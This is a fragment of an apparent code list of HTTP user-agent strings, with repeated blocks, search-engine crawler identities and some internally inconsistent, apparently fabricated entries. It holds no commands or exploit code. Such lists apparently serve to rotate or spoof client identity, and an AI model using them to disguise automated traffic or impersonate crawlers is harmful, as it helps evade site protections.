'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
